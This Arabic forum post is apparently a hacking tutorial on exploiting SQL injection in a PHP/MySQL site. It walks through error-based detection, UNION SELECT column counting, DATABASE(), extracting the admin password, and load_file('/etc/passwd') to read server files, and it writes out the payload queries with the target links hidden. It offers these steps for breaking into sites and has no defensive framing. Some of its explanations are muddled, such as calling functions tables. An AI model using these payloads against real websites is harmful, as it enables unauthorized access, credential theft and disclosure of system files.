اما بعد فهذا درس لشرح ثغرة
SQL-injection و كيفية استغلالها
نيدا
تعريف SQL-injection :
هي التقنيه المستخدمة للاستفادة من الضعف الصادر عن اوامر الكترونية عبر
شبكة لتنفيذ التطبيق من قاعدة البيانات الخلفية ( SQL ) وطبعا نحن نحصل علي
الاستفادة الحقيقة من هذا الضعف للوصول الي المعلومات السرية الخاصة
بالموقع
نبدا شرح استغل SQL-injection عن طريق الخطأ
mysql_fecth_array()
مثل الموقع المستهدف
طبعا لاكتشاف الخطأ نحاول ندخل رمز غير معروف في القاعدة لحدوث الخطأ مثل
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]'
طبعا القاعد لم تستطيع التعرف علي الرمز 1'
يظهر أن الأمر خطا
يكون
Warning: mysql_fecth_array(): supplied argument is not a valid MySQL result resource in
/home/site/index.php on line
خطا قواعد البيانات في الدالة
Warning: mysql_fecth_array():
هنا يمكن الاستغلال مباشر لل SQL-injection
و في نفس الوقت ظهر لينا مكان الموقع علي السير فر
home/site/index.php
نبدا في تطبيق SQL-injection
UNION SELECT null
UNION :و الأمر هذا يستخدم لإضافة استعلام آخر تابع للاستعلام المصاب بالثغرة
SELECT :و هذا الأمر عن طريقه يتم استخراج البيانات
Null :و هذا الأمر لضبط عدد columns مع القاعدة
المهم بعد هذا نجرب نبدا ب nullواحده
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null
للأسف لم تربط بالقاعدة نجرب 2 null
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,null
هكذا ربط بالقاعده طيب الآن حابين نعرف Table في القاعدة
باستخدام الأمر DATABASE() ونضيف الدالة هادي في آخر null
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,DATABASE()/
ويكون الناتج
CODEUSER()
PASSWORD()
VERSION
طبعا الجداول هادي ايوزر تاع اسم المستخدم و الباسورد تاع باسورد الادمن
ويكون الاستعلام لاستخراج الباسورد
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,password
و أمر استخراج اليوزر
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,password WHERE user='admin' /*
الان تقول طيب SQL-injection فاشلة باش تجيب الباسورد MD5
بصح رايح يوريلك أمر يعتبر فيل انكلود وهو باستخدام الأمر load_file()
ويكون الاستعلام فيه
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] SELECT null,load_file('/etc/passwd')
و الامر هذا يعرض ليك PAsswd يعني يتم استغلال فيل انكلود و أنت تعرف خطورة الدالة file_load